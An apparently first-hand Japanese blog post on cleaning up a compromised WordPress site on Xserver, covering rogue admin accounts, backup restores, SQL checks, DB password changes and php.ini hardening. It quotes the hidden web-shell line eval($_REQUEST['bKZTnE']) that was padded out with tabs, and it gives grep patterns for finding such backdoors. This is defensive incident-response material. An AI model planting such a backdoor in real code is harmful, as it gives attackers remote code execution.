MENU
  1. ホーム
  2. WordPress
  3. WordPressサイト不正アクセスの検知

WordPressサイト不正アクセスの検知

WordPress Xserver

レンタルサーバー管理会社から不正アクセス検知と制限実施に関する通知

xserver-alertダウンロード

どのような攻撃をされたのか？

WordPressの脆弱性を悪用して、サーバー上に不正なプログラム（Webシェル）を設置され、サーバーリソースを大量消費する攻撃を実行されています。

目次

不正アクセスの結果発生したエラー

インシデントで発生したないようについては以下の通りです

サイトを見てみると下記のエラーが発生

  • ファイルが改ざん（ファイルの内容、ファイルの権限が原因）されているせいで発生しているエラー
  • 攻撃後のサーバー管理会社の即時対応で改ざんされたをchmod 000で無効化して読み取り不可になったためのエラー
  • エラーの対応としてはXServerの自動バックアップの取得・復元を使用
    https://www.xserver.ne.jp/manual/man_server_restore.php
  • それでも発生したエラーはプラグインをリネームして無効化して再度、名前を戻して有効化で解消

攻撃者が作成した不正ユーザー「Al1wpadmin」

知らないユーザーがあり、内容を見てみるとニックネームがなかったりサイトがhttp://wwwとかなり怪しい

user-iダウンロード

「Al1wpadmin」についての記事

.htaccessが勝手に戻る！WordPress改ざんの原因・復旧・再発防止

本インシデントでは即対応として削除しましたが、ユーザーのログを確認する必要がありますので、その後削除すればよかったかもしれません（サーバー管理画面でphpMyAdminなどでSQLで確認など、、）

-- 全ユーザーの詳細情報
SELECT 
    u.ID,
    u.user_login,
    u.user_email,
    u.user_registered,
    u.display_name,
    m.meta_value as capabilities
FROM wp_users u
LEFT JOIN wp_usermeta m ON u.ID = m.user_id 
WHERE m.meta_key = 'wp_capabilities';
-- 削除されたユーザーの投稿が残っているか確認
SELECT * FROM wp_posts WHERE post_author = '削除されたユーザーID';

-- usermeta テーブルに残骸があるか確認
SELECT * FROM wp_usermeta WHERE user_id NOT IN (SELECT ID FROM wp_users);

（対応1）「XServerの自動バックアップ」と「MySQLバックアップ取得・復元」

今回の対応として「XServerの自動バックアップ」は「MySQLバックアップ取得・復元」を実施

サーバーの復元だけでなく、DBの復元もすべきか？

「XServerの自動バックアップ」と「MySQLバックアップ取得・復元」と別になります。

WordPressのユーザー情報はデータベースに保存されるためサーバーのバックアップ復元のみだと、不正ユーザーはそのまま残ってしまいます

復元元の日付より新しい投稿データなどはなくなってしまいます

カスタマーに初期化の必要性を確認

14日前の不正アクセス前の状態のバックアップから復元しましたが、他に対応すべきことはあるのでしょうか、、カスタマーに確認する予定です

今回の不正アクセスに関し、以下の対応を行いました。
サーバー領域（Web領域・Web用設定ファイル）を14日前の自動バックアップから復元
データベースも同様に14日前のバックアップから復元
不正ユーザー削除、プラグイン権限エラー対応済み
この状態でサイトは正常に動作しております。
そこで確認させていただきたいのですが、
バックアップ復元を行っていても、やはり「ドメイン初期化」を実施することが必須でしょうか。
また、初期化を省略した場合に考えられるリスクがあればご教示いただけますと幸いです。

かならずドメイン初期化が必須というわけではございません。
ただし現状は不正アクセスを受ける前の時点で復元されており、
通知させていただいている通りサイトの脆弱性は変わらず存在している状態でございます。
※WordPress等CMSのログイン情報は変更いただいている前提です。
ただ状態を前に戻しただけでは再度サイトの脆弱性を利用され
不正アクセスされる恐れがあるため、CMS本体のアップデートや、
プラグインなどプログラムのアップデートは実施いただきたく存じます。

（対応2）別件 — エラーの原因となっている関連ファイルをワードプレス公式ダウンロードのもので上書き

（対応1）をしたサイトが数ヶ月後にWebサイトにウェブアクセスをしたら下記のエラー

Fatal error: strict_types declaration must be the very first statement in the script in /home/samplesite.jp/public_html/wp-includes/abilities-api/class-wp-ability-categories-registry.php on line 13Fatal error: Uncaught Error: Call to a member function set() on null in

エラーとなっているファイルを確認したところ

<?php																																										eval($_REQUEST['bKZTnE']);

<?php の後にタブ文字で大量のスペースを空けて、eval($_REQUEST['bKZTnE']); が隠されています。これが典型的なバックドアで、外部からURLパラメータ ?bKZTnE=任意のPHPコード でサーバー上で好きなコードを実行できる状態でした。

他のPHPファイルにも同じ手口で eval($_REQUEST が仕込まれている可能性が高いので、 eval($_REQUEST や eval($_POST 、eval(base64_decode をgrep検索しました。

（SSHも使用可能でしたがFTPでローカルにダウンロードして実行しました、Xserverのファイルマネージャーで圧縮してから）

使用中のWordPressバージョンと同じ公式パッケージ（wp-content内のワードプレステーマやプラグインであればその公式のもの）からダウンロードして上書き、もしくは問題のコードの修正でサイトの表示は復旧しました

日本語
リリースアーカイブ Releases This is an archive of every recorded release that’s been made available for WordPress. Only the most […]

DBの確認

phpMyAdminからwp_users テーブルを開いて、見覚えのないユーザーを確認しました

確認したところroot というが不正アカウントが作成されていました

user_loginIDuser_nicenameuser_emailuser_urluser_registereduser_activation_keyuser_statusdisplay_name
root2rootadmin@wordpress.com2025-12-25 4:32:410root
  • ユーザー名 root
  • メールアドレス: admin@wordpress.com（偽のアドレス）

仕込まれたバックドア（eval($_REQUEST)）経由でユーザー作成関数を実行されたか、直接DBに INSERT 文を実行して管理者アカウントを作成されたようです

何をされていた可能性があるか

バックドアは毎回URLからコードを送る必要がありますが、管理者アカウントがあればWordPressの管理画面に普通にログインできます。バックドアが削除されても管理画面からアクセスし続けられるという保険の意味もあります。

  • 管理画面からテーマやプラグインのファイルエディタで任意のPHPコードを設置
  • 投稿やページに不正なスクリプトやリダイレクトを埋め込み（SEOスパム、フィッシングサイトへの誘導）
  • サイトの訪問者情報の収集
  • サーバーからのスパムメール送信
  • 同一サーバー内の他サイトへの横展開

ログイン情報はwp-config.phpでわかります、こちらのDBパスワードも変更した方がいいです。

DBパスワード変更手順

  1. XserverのサーバーパネルでMySQLユーザーのパスワードを変更
  2. wp-config.php の DB_PASSWORD を新しいパスワードに書き換え

※WordPress管理画面からDBパスワードを変更する機能は用意されていません。

サーバー設定の見直し

メールで下記とありました

お客様のウェブサイトにてPHPプログラムをご利用の場合、
サーバーパネルの「php.ini設定」にて
「allow_url_fopen」および「allow_url_include」をいずれも
「無効（Off）」にすることを強くお勧めいたします。

◇マニュアル：php.ini設定
　https://www.xserver.ne.jp/manual/man_server_phpini_edit.php

サーバーパネルの php.ini設定 で下記推奨のようです

外部URLからファイルを読み込めなくする
allow_url_fopen = Off
外部URLからPHPファイルを実行できなくする
allow_url_include = Off

ですが、XServerでphp.iniの設定を確認してみると下記でXアクセラレータを無効化する必要があるようです

allow_url_fopen	ON ※
allow_url_include	OFF ※
※「Xアクセラレータ Ver.2」が有効な場合、（※）の設定は変更できません。

エックスサーバーのカスタマーサポートに質問してもいいかも

【ご相談】先日のインシデントを受けてのPHPの設定について

「allow_url_fopenをOff」推奨の旨をメールで連絡いただいたのですが、
「Xアクセラレータ Ver.2」と競合するようです。
どちらを優先すべきでしょうか？

よろしくお願いいたします。
> > セキュリティを最優先する場合は、「allow_url_fopenをOff」を
> > 優先していただきますようお願いいたします。

PHP マニュアル
https://www.php.net/manual/ja/filesystem.configuration.php

Xアクセラレータ Ver.2
https://www.xserver.ne.jp/manual/man_server_xaccelerator.php

最初の侵入経路は結局何だったのか？

プラグイン周りの改ざん、不正ファイルが多かったのでプラグインの可能性が高そうでした。

カスタマーに問い合わせてみても、さすがに下記でした

申し訳ございませんが、侵入経路やファイルの特定などは
当サービスにて調査やご案内がかないません。
あらかじめご了承ください。

不正アクセスの予防策に関しましては、
下記ページもご活用くださいますと幸いです。

どこまで対応するか

複数サイト同時に攻撃されて、時間もたってしまっている場合は、作業量がかなり大きくなります。

クライアントに「他ドメインに影響が及んでいる可能性がある」ことと、「対応範囲と工数によっては追加費用が発生する」ことを先に伝えておいたほうがいいです。

同一アカウント内の別サイト経由

本件は、同じXserverアカウント内の別ドメインが先に侵入され、そこからこのサイトのファイルも書き換えられたパターンです。同一Linuxユーザー権限なので、1つ突破されれば全サイトのファイルに書き込めます。

おそらく自動化された攻撃で脆弱なWordPressサイトを片っ端から攻撃するボット」にやられた可能性が高いです。

どこまでするか対応

ドメイン名を「初期化」

ケース2■該当ドメイン名を「初期化」する場合 ※該当ドメイン名のウェブ領域に設置されたすべてのファイルが削除されます
「サーバーパネル」→「ドメイン設定」→該当ドメインの「初期化」とアクセスしていただき、「ウェブ領域・設定の初期化」をご選択のうえ、該当ドメイン名を初期化してください。
※複数のドメインが汚染されている場合は、不正プログラムが1つ以上設置されていたドメインについてドメイン名を初期化することを推奨いたします。

上記のXserver からのメールの通りの対応が望ましいですが、サイトをまた0から再構築する手順が発生します。

公式のワードプレス、テーマ、プラグインで上書き

前述した内容で、wp-admin、wp-include、ワードプレスのルート直下のファイル群の上書き

wp-contentについてはテーマ、プラグインを公式のもので上書き

マルウェアのファイルのみ対応

grepで検索して問題のあるファイルのみ対応、DBでも怪しい箇所のみは確認

エラーに関係あるファイルのみ

とりあえず復旧するように対応

WordPress Xserver

関連記事

目次